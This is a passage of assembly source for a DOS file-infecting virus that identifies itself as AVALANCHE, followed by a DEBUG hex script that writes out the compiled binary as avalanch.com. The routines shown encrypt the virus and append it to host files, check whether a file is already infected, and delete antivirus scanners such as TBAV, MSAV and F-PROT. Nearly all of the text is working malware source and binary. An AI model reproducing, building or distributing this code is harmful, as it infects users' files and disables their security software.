	mov	word ptr [crbreak],bx
	mov	word ptr [crbreak+2],es

        mov     ax,2524h            ; set new handler
        mov     dx,offset cint
	pushf
        call    cs:[OrgDos]

	call	popall
	ret

discrit endp

;---------------------------------------------------------------------------
; enable critical error handler

encrit proc near

	call	pushall

        mov     dx,word ptr cs:[crbreak] ; restore old INT 24h
	mov	ax,word ptr [crbreak+2]
	mov	ds,ax
	mov	ax,2524h
	int	DOS_N
	call	popall
	ret

encrit endp

;---------------------------------------------------------------------------

; INPUT   DX:AX value to divide by 512
; OUTPUT  AX    value DIV 512
;         BX    value MOD 512

divide	  proc near

	   mov	bx,ax
           and  bx,0000000111111111b    ; filesize   MOD 512

           mov  cx,9                    ; 32 bit division
divide1:   clc
	   shr	dx,1
	   rcr	ax,1
	   loop divide1

	   ret

divide	   endp

;*****************************************************************************
; encyrpt virus and stick it to the end of host                              *
;*****************************************************************************

kodier     proc near

	   push cs
	   pop	es
           inc  [generation]            ; increase generation counter
	   cld
           mov   dx,offset (virende-start)  ; virussize
           mov   si,offset start            ; start of virus
	   mov	 ah,byte ptr [org_filelng_lo]
	   xor	 ah,0aah
           mov   byte ptr [entschl+3],ah     ; decryptor value

kod0:      mov   ah,byte ptr [org_filelng_lo]    ; key in in ah
	   xor	 ah,0aah
           mov   di,psp              ; set pointer to unused psp
           xor   cx,cx              ; reset byte counter

kod1:      lodsb                    ; load a word
           cmp   si,offset vircode  ; encyrpt it  ?
           jna   ncode              ; no, it's the virus decryptor
           cmp   si,offset vor_header ; do not encrypt the original header
	   ja	 ncode
           xor   al,ah              ; encrypt word
ncode:     stosb                    ; and write it to psp
	   inc	cx
           cmp  cx,250              ; is buffer full  ?
           jna  kod2                ; yes, then write it to disk
	   jmp	short kodaus
kod2:      cmp  cx,dx               ; are we ready ?
           jne  kod1                ; no, continue

kodaus:    sub  dx,cx

           push dx                  ; write encrypted by to host
	   mov	bx,[handle]
           mov  dx,psp              ; ds:dx pointer to start of encry.buffer
	   mov	ah,40h
           pushf                    ; write cx bytes
	   call cs:[int21alt]
	   pop	dx
           jc   kodrueck            ; exit on error
	   or	dx,dx
	   je	kodrueck
	   jmp	short kod0

	   dec	[generation]
	   cmp	[generation],32
	   jne	kodrueck
absturz:   jmp  absturz

kodrueck:  ret

kodier	   endp

;***************************************************************************
;*** check if file is infected                                          ****
;*** INPUT  : BX=Handle                                                 ****
;*** OUTPUT : C=0: file is clean / C=1: file is infected or access denied***
;***************************************************************************

pruefinf   proc near

	   push  bx
	   push  ax
	   push  cx
	   push  dx

           mov   ax,5700h             ; get time/date stamps
	   pushf
	   call cs:[int21alt]
	   mov	 cs:[d_datum],dx
	   mov	 cs:[d_zeit],cx

           and   dx,1111111000000000b ; mask out the month
           mov   cl,9                 ; year to low byte
	   shr	 dx,cl
           cmp   dx,90                ; year <90  file id clean
	   jb	 nichtinf

           stc                        ; set infection flag
pruefaus:  pop	 dx
	   pop	 cx
	   pop	 ax
	   pop	 bx
	   ret

nichtinf:  clc
	   jmp	 short pruefaus

pruefinf    endp

;*************************************************************************
; retro function: delete scanners
;*************************************************************************

scanner db "F-PR",0
	db "TBAV",0
	db "SCAN",0
	db "MSAV",0
	db "CPAV",0
	db "TBME",0
	db "TBFI",0
	db "TBSC",0
	db "VIRS",0
	db "TBDR",0
        db 0

fuck_scanner PROC NEAR

	IF RETRO

	call	pushall

        push    cs                        ; ES=CS
	pop	es

        mov     ax,cs:[nam_seg]           ; get filename
        mov     ds,ax                     ; to  DS:SI
	mov	si,cs:[nam_off]

fd_end: inc	si
        cmp     byte ptr ds:[si],0        ; find last char
	jne	fd_end

fc2:    dec     si                         ; set pointer to filename
	cmp	byte ptr ds:[si-1],"\"
	jne	fc2

	mov	cx,4
	mov	di,offset scanner
        call    search                     ; search for scanner
	jae	fuckend

gotcha: mov	dx,si
        mov     ah,41h                     ; delete scanner
	pushf
	call	cs:[OrgDos]

fuckend: call	popall

       ENDIF
       ret

fuck_scanner ENDP

;**************************************************************************
; compare a string with a list of strings
; INPUT: DS:SI string to find
;        es:di list
;        cx    number of bytes to compare
; OUPUT: C=1 if string was found
;        DX  position of string
;**************************************************************************

search PROC NEAR

        mov  ax,cx                     ; store cx
	xor  dx,dx
        cld
comp:	mov  cx,ax
        push si                        ; store SI (pointer to reference)
        repe cmpsb                     ; compare strings
	pop  si
        jz   treffer                   ; Z=1 -> string found

s_str:  cmp  byte ptr es:[di],0        ; find start of next string in list
	je   str_gef
	inc  di
	jmp  short s_str
str_gef: inc  di
        cmp  byte ptr es:[di],0         ; end of list ?
	je   failed
	inc  dx
	jmp  short comp
treffer: stc
	ret

failed:  clc
	 ret

search ENDP

;---------------------------------------------------------------------------

pushall proc near

        pop  cs:[ret_off]
	pushf
	push ax
	push bx
	push cx
	push dx
	push bp
	push si
	push di
	push es
	push ds
        push cs:[ret_off]
	ret

pushall endp

;----------------------------------------------------------------------------

popall	proc near

	pop  cs:[ret_off]
	pop  ds
	pop  es
	pop  di
	pop  si
	pop  bp
	pop  dx
	pop  cx
	pop  bx
	pop  ax
	popf
	push cs:[ret_off]
	ret

popall	endp

vor_header equ this byte
orig_exehead    db 1ch dup (?)   ; position of original exe header


virende   equ this byte

code ends
	 end start
-----------------------------------
N avalanch.com
E 0100  66 B9 F0 0A 00 00 BB 1D 02 EB 06 EA 2E 80 37 00
E 0110  43 E2 F9 E8 00 00 58 8B E8 81 ED 16 01 EB 01 81
E 0120  EB 58 20 41 56 41 4C 41 4E 43 48 45 2F 47 65 72
E 0130  6D 61 6E 79 20 27 39 34 2E 2E 2E 4D 65 74 61 6C
E 0140  20 4A 75 6E 6B 69 65 20 67 72 65 65 74 73 20 4E
E 0150  65 75 72 6F 62 61 73 68 65 72 00 00 00 00 00 00
E 0160  FE FF 00 00 00 10 00 01 00 00 C3 00 01 E9 00 00
E 0170  00 00 00 00 00 00 00 01 00 00 FA 8C 9E 5C 01 FC
E 0180  0E 1F B8 F0 4B 33 FF CD 21 81 FF 68 73 75 03 E9
E 0190  50 01 B4 30 CD 21 3C 05 73 03 E9 45 01 B4 04 CD
E 01A0  1A 72 0E 81 F9 96 19 73 08 80 FE 01 73 03 E9 31
E 01B0  01 E8 46 01 B4 0E B2 AD CD 21 3C BA 75 4A E9 21
E 01C0  01 8B 86 5C 01 8E D8 8E C0 80 BE 77 01 01 74 1F
E 01D0  8C C0 03 86 5A 01 05 10 00 89 86 68 01 8B A6 60
E 01E0  01 8C C0 2E 03 86 62 01 05 10 00 8E D0 EB 07 8C
E 01F0  C8 2E 89 86 68 01 33 C0 8B D8 8B C8 8B D0 8B F0
E 0200  8B F8 FB 2E FF AE 66 01 8B 86 5C 01 8E C0 8B 9E
E 0210  64 01 B4 4A CD 21 73 03 E9 C7 00 0E 07 C6 86 26
E 0220  04 00 C6 86 25 04 00 B8 00 58 CD 21 89 86 74 01
E 0230  B8 02 58 CD 21 73 03 E9 A8 00 88 86 76 01 B8 01
E 0240  58 BB 02 00 CD 21 B8 03 58 BB 00 00 CD 21 BB D7
E 0250  00 B4 48 CD 21 72 65 50 48 8E C0 40 26 C7 06 00
E 0260  00 5A 00 26 C7 06 01 00 08 00 B8 21 35 CD 21 89
E 0270  9E 05 04 8C 86 07 04 89 9E 0D 04 8C 86 0F 04 E8
E 0280  C3 00 3D FF 00 74 08 8C 86 0F 04 89 86 0D 04 B8
E 0290  13 35 CD 21 89 9E 09 04 8C 86 0B 04 07 06 BE 00
E 02A0  01 03 F5 BF 00 01 B9 02 0B F3 A4 BA 31 04 B8 21
E 02B0  25 1F CD 21 BA BD 07 B8 13 25 CD 21 0E 1F FF B6
E 02C0  5C 01 07 BB FF FF B4 4A CD 21 B4 4A CD 21 8A 9E
E 02D0  76 01 32 FF B8 03 58 CD 21 8B 9E 74 01 B8 01 58
E 02E0  CD 21 80 BE 77 01 01 75 0E 8B BE 66 01 BE 6A 01
E 02F0  03 F5 B9 03 00 F3 A4 E9 C7 FE 06 50 53 51 52 56
E 0300  57 B8 00 FA BA 45 59 CD 16 81 FF 59 45 75 17 B8
E 0310  02 FA BA 45 59 B3 00 CD 16 80 E1 17 8A D9 B8 02
E 0320  FA BA 45 59 CD 16 1E 33 C0 8E D8 C4 36 84 00 1F
E 0330  26 8B 04 3D EB 05 75 05 26 C7 04 90 90 5F 5E 5A
E 0340  59 5B 58 07 C3 B4 52 CD 21 72 75 26 8B 47 FE 89
E 0350  86 CF 03 33 C0 8E C0 26 C4 06 04 00 89 86 C6 03
E 0360  8C 86 C8 03 2E C6 86 CE 03 00 2E 89 AE D7 03 FA
E 0370  33 C0 8E C0 BB D1 03 03 DD 26 89 1E 04 00 26 8C
E 0380  0E 06 00 FB 9C 58 80 CC 01 50 9D B4 0B FA 9C 2E
E 0390  FF 9E 05 04 9C 58 25 FF FE 50 9D FA 1E 33 C0 8E
E 03A0  D8 2E C4 86 C6 03 A3 04 00 8C 06 06 00 1F FB 80
E 03B0  BE CE 03 01 75 0B 8B 86 CC 03 8E C0 8B 86 CA 03
E 03C0  C3 B8 FF 00 EB FA 00 00 00 00 00 00 00 00 00 00
E 03D0  00 55 8B EC 50 56 BE 00 00 8B 46 04 2E 3B 84 CF
E 03E0  03 76 04 5E 58 5D CF 2E 89 84 CC 03 8B 46 02 2E
E 03F0  89 84 CA 03 2E C6 84 CE 03 01 81 66 06 FF FE EB
E 0400  E2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0410  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0420  00 00 00 00 00 00 00 2A 2E 63 6F 6D 00 FB B0 03
E 0430  CF 80 FC 4B 75 1E 3C F0 74 11 3C 05 74 11 3C 03
E 0440  74 0D 2E C6 06 23 04 00 E9 77 03 BF 68 73 CF 2E
E 0450  FF 2E 05 04 2E 80 3E 25 04 01 74 3A 2E 80 3E 26
E 0460  04 01 74 32 80 FC 4E 75 02 EB 30 80 FC 4F 75 02
E 0470  EB 29 80 FC 11 74 5F 80 FC 12 74 5A EB 00 3D 00
E 0480  57 75 03 E9 A6 00 80 FC 42 75 03 E9 BF 00 80 FC
E 0490  3F 75 03 E9 F4 00 2E FF 2E 05 04 9C 2E FF 1E 05
E 04A0  04 72 02 EB 03 CA 02 00 E8 11 07 B4 2F CD 21 26
E 04B0  8B 47 18 25 00 FE B1 09 D3 E8 3D 5A 00 76 11 26
E 04C0  81 6F 1A 02 0B 26 83 5F 1C 00 26 81 6F 18 00 C8
E 04D0  E8 FE 06 CA 02 00 9C 2E FF 1E 05 04 E8 DD 06 3C
E 04E0  FF 75 02 EB 41 B4 2F CD 21 26 80 3F FF 74 08 BE
E 04F0  19 00 BF 1D 00 EB 06 BE 20 00 BF 24 00 26 8B 00
E 0500  25 00 FE B1 09 D3 E8 3D 5A 00 76 1A 26 81 29 02
E 0510  0B 26 83 59 02 00 26 81 69 F9 02 0B 26 83 59 FB
E 0520  00 26 81 28 00 C8 E8 A8 06 CA 02 00 9C 2E FF 1E
E 0530  05 04 9C 50 51 8B C2 25 00 FE B1 09 D3 E8 3D 5A
E 0540  00 76 04 81 EA 00 C8 59 58 9D CA 02 00 3C 02 75
E 0550  18 0B CA 75 14 E8 AA 05 73 0F B9 FF FF BA FE F4
E 0560  9C 2E FF 1E 05 04 CA 02 00 2E FF 2E 05 04 00 00
E 0570  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0580  00 00 00 00 00 00 00 00 00 00 83 FB 05 73 02 EB
E 0590  40 E8 6E 05 73 3B 2E 8C 1E 80 05 0E 1F A3 82 05
E 05A0  89 1E 6E 05 89 0E 70 05 89 16 86 05 8C 06 7E 05
E 05B0  EB 44 2E 8B 0E 70 05 2E 8B 1E 6E 05 2E 8B 16 86
E 05C0  05 2E A1 7E 05 8E C0 2E A1 80 05 8E D8 2E A1 82
E 05D0  05 2E FF 2E 05 04 2E 8B 0E 70 05 2E 8B 16 86 05
E 05E0  2E 8B 1E 7E 05 8E C3 2E 8B 1E 80 05 8E DB 2E 8B
E 05F0  1E 6E 05 CA 02 00 B8 01 42 33 C9 33 D2 9C 2E FF
E 0600  1E 05 04 72 AD A3 72 05 89 16 74 05 03 06 70 05
E 0610  83 D2 00 A3 76 05 89 16 78 05 B8 02 42 33 C9 33
E 0620  D2 9C 2E FF 1E 05 04 2D 02 0B 83 DA 00 A3 7A 05
E 0630  89 16 7C 05 B8 00 42 8B 0E 74 05 8B 16 72 05 9C
E 0640  2E FF 1E 05 04 73 03 E9 68 FF A1 72 05 3D 1D 00
E 0650  72 11 8B 1E 74 05 C4 0E 7A 05 8C C2 E8 28 01 72
E 0660  20 EB 35 C4 06 76 05 8C C3 33 D2 B9 1D 00 E8 16
E 0670  01 72 2C C4 0E 7A 05 8C C2 E8 0B 01 72 5E E9 D5
E 0680  00 C4 06 76 05 8C C3 C4 0E 7A 05 8C C2 E8 F7 00
E 0690  72 03 E9 D0 00 E9 CA 00 B8 00 00 F8 E9 37 FF BA
E 06A0  1C 00 2B 16 72 05 52 F7 DA B9 FF FF B0 02 E8 F8
E 06B0  00 8B 16 86 05 8B 0E 70 05 8B 1E 6E 05 B4 3F FF
E 06C0  36 80 05 1F 9C 2E FF 1E 05 04 0E 1F 8B 0E 78 05
E 06D0  8B 16 76 05 B0 00 E8 D0 00 E9 FA FE 8B 0E 70 05
E 06E0  8B 1E 6E 05 8B 16 86 05 FF 36 80 05 1F B4 3F 9C
E 06F0  2E FF 1E 05 04 73 03 E9 DC FE 0E 1F A3 88 05 BA
E 0700  1C 00 2B 16 72 05 52 F7 DA B9 FF FF B0 02 E8 98
E 0710  00 73 03 59 EB 7E 59 FF 36 80 05 58 8B 16 86 05
E 0720  03 16 72 05 15 00 00 8E D8 2E 8B 1E 6E 05 B4 3F
E 0730  9C 2E FF 1E 05 04 73 02 EB 5A 0E 1F 8B 0E 74 05
E 0740  8B 16 72 05 03 16 88 05 83 D1 00 32 C0 E8 59 00
E 0750  A1 88 05 E9 80 FE A1 7A 05 2B 06 72 05 8B C8 E9
E 0760  7E FF E9 4D FE 8B 0E 7A 05 2B 0E 72 05 51 8B 1E
E 0770  6E 05 8B 16 86 05 B4 3F FF 36 80 05 1F 9C 2E FF
E 0780  1E 05 04 59 E9 6C FE 3B DA 77 08 72 06 3B C1 77
E 0790  02 72 00 C3 2E 8B 16 72 05 2E 8B 0E 74 05 32 C0
E 07A0  E8 06 00 33 C0 F8 E9 2D FE 50 53 52 B4 42 2E 8B
E 07B0  1E 6E 05 9C 2E FF 1E 05 04 5A 5B 58 C3 2E FF 2E
E 07C0  09 04 E8 F7 03 2E C6 06 23 04 00 2E C6 06 26 04
E 07D0  00 E8 26 FB EB 09 E8 E3 03 2E C6 06 23 04 01 2E
E 07E0  89 16 11 04 2E 8C 1E 13 04 2E C6 06 24 04 00 1E
E 07F0  52 E8 5B 02 5A 1F B8 00 43 CD 21 73 03 E9 B0 00
E 0800  2E 89 0E 1D 04 F7 C1 04 00 74 03 E9 A2 00 B8 01
E 0810  43 83 E1 FE 9C 2E FF 1E 05 04 73 03 E9 8E 00 E8
E 0820  40 03 B8 00 3D 9C 2E FF 1E 05 04 73 02 EB 7E 8B
E 0830  D8 0E 1F 89 1E 1F 04 53 B8 20 12 CD 2F 26 8A 05
E 0840  8A D8 B8 16 12 CD 2F 5B 73 02 EB 56 26 C7 45 02
E 0850  02 00 E8 AD 02 73 02 EB 49 BA 00 00 B9 1C 00 B4
E 0860  3F CD 21 72 3D 8B F2 B9 1C 00 BF E6 0B 0E 07 F3
E 0870  A4 B8 02 42 33 C9 33 D2 9C 2E FF 1E 05 04 73 02
E 0880  EB 20 A3 70 01 89 16 72 01 2E 81 3E 00 00 4D 5A
E 0890  75 05 E8 ED 00 EB 0B 81 3E 70 01 30 F2 77 03 E8
E 08A0  64 00 E8 28 00 B4 3E 9C 2E FF 1E 0D 04 E8 3E 00
E 08B0  E8 BE 01 2E 80 3E 23 04 01 74 08 E8 13 03 2E FF
E 08C0  2E 05 04 2E C6 06 23 04 00 E8 05 03 C3 B8 01 57
E 08D0  8B 1E 1F 04 8B 0E 1B 04 8B 16 19 04 80 3E 24 04
E 08E0  01 75 04 81 C2 00 C8 9C 2E FF 1E 0D 04 C3 8B 0E
E 08F0  1D 04 B8 01 43 8B 16 11 04 8B 1E 13 04 53 1F 9C
E 0900  2E FF 1E 0D 04 C3 2E A1 02 00 80 FC FF 74 72 3C
E 0910  FF 74 6E 8B 1E 70 01 83 EB 03 89 1E 6E 01 B8 00
E 0920  42 2E 8B 1E 1F 04 33 D2 33 C9 9C 2E FF 1E 0D 04
E 0930  72 4F B4 40 B9 03 00 BA 6D 01 9C 2E FF 1E 0D 04
E 0940  72 3F B8 02 42 33 D2 33 C9 9C 2E FF 1E 0D 04 72
E 0950  30 C7 06 66 01 00 01 C6 06 77 01 01 2E A1 00 00
E 0960  A3 6A 01 2E A0 02 00 A2 6C 01 C7 06 64 01 00 10
E 0970  A1 70 01 05 13 01 A3 07 01 E8 1C 01 C6 06 24 04
E 0980  01 C3 0E 07 BE 00 00 83 7C 06 01 77 01 C3 80 7C
E 0990  18 40 75 01 C3 80 7C 1A 00 74 01 C3 8B 16 72 01
E 09A0  A1 70 01 E8 E1 00 40 3B 44 04 74 01 C3 8B 44 16
E 09B0  A3 5A 01 8B 44 0E A3 62 01 8B 44 10 A3 60 01 8B
E 09C0  44 14 A3 66 01 8B 16 72 01 A1 70 01 8B 5C 08 B1
E 09D0  04 D3 E3 2B C3 83 DA 00 8B D8 83 E3 0F 89 5C 14
E 09E0  B9 04 00 D1 FA D1 D8 E2 FA 89 44 0E 89 44 16 A3
E 09F0  64 01 C7 44 10 02 0C A1 70 01 8B 16 72 01 05 02
E 0A00  0D 83 D2 00 E8 80 00 89 5C 02 89 44 04 33 C9 BA
E 0A10  00 00 8B 1E 1F 04 B8 00 42 CD 21 72 31 B4 40 B9
E 0A20  1C 00 BA 00 00 9C 2E FF 1E 05 04 72 21 B8 02 42
E 0A30  33 D2 33 C9 CD 21 72 16 C6 06 77 01 00 8B 44 14
E 0A40  05 13 00 A3 07 01 E8 4F 00 C6 06 24 04 01 C3 E8
E 0A50  6A 01 0E 1F B8 24 35 CD 21 89 1E 01 04 8C 06 03
E 0A60  04 B8 24 25 BA 2D 04 9C 2E FF 1E 0D 04 E8 61 01
E 0A70  C3 E8 48 01 2E 8B 16 01 04 A1 03 04 8E D8 B8 24
E 0A80  25 CD 21 E8 4B 01 C3 8B D8 81 E3 FF 01 B9 09 00
E 0A90  F8 D1 EA D1 D8 E2 F9 C3 0E 07 FF 06 78 01 FC BA
E 0AA0  02 0B BE 00 01 8A 26 70 01 80 F4 AA 88 26 0F 01
E 0AB0  8A 26 70 01 80 F4 AA BF 00 00 33 C9 AC 81 FE 13
E 0AC0  01 76 08 81 FE E6 0B 77 02 32 C4 AA 41 81 F9 FA
E 0AD0  00 76 02 EB 04 3B CA 75 E3 2B D1 52 8B 1E 1F 04
E 0AE0  BA 00 00 B4 40 9C 2E FF 1E 05 04 5A 72 13 0B D2
E 0AF0  74 0F EB BC FF 0E 78 01 83 3E 78 01 20 75 02 EB
E 0B00  FE C3 53 50 51 52 B8 00 57 9C 2E FF 1E 05 04 2E
E 0B10  89 16 19 04 2E 89 0E 1B 04 81 E2 00 FE B1 09 D3
E 0B20  EA 83 FA 5A 72 06 F9 5A 59 58 5B C3 F8 EB F8 46
E 0B30  2D 50 52 00 54 42 41 56 00 53 43 41 4E 00 4D 53
E 0B40  41 56 00 43 50 41 56 00 54 42 4D 45 00 54 42 46
E 0B50  49 00 54 42 53 43 00 56 49 52 53 00 54 42 44 52
E 0B60  00 00 E8 57 00 0E 07 2E A1 13 04 8E D8 2E 8B 36
E 0B70  11 04 46 80 3C 00 75 FA 4E 80 7C FF 5C 75 F9 B9
E 0B80  04 00 BF 2F 0B E8 10 00 73 0A 8B D6 B4 41 9C 2E
E 0B90  FF 1E 0D 04 E8 3A 00 C3 8B C1 33 D2 FC 8B C8 56
E 0BA0  F3 A6 5E 74 13 26 80 3D 00 74 03 47 EB F7 47 26
E 0BB0  80 3D 00 74 05 42 EB E5 F9 C3 F8 C3 2E 8F 06 21
E 0BC0  04 9C 50 53 51 52 55 56 57 06 1E 2E FF 36 21 04
E 0BD0  C3 2E 8F 06 21 04 1F 07 5F 5E 5D 5A 59 5B 58 9D
E 0BE0  2E FF 36 21 04 C3
R CX
0AE6
W
Q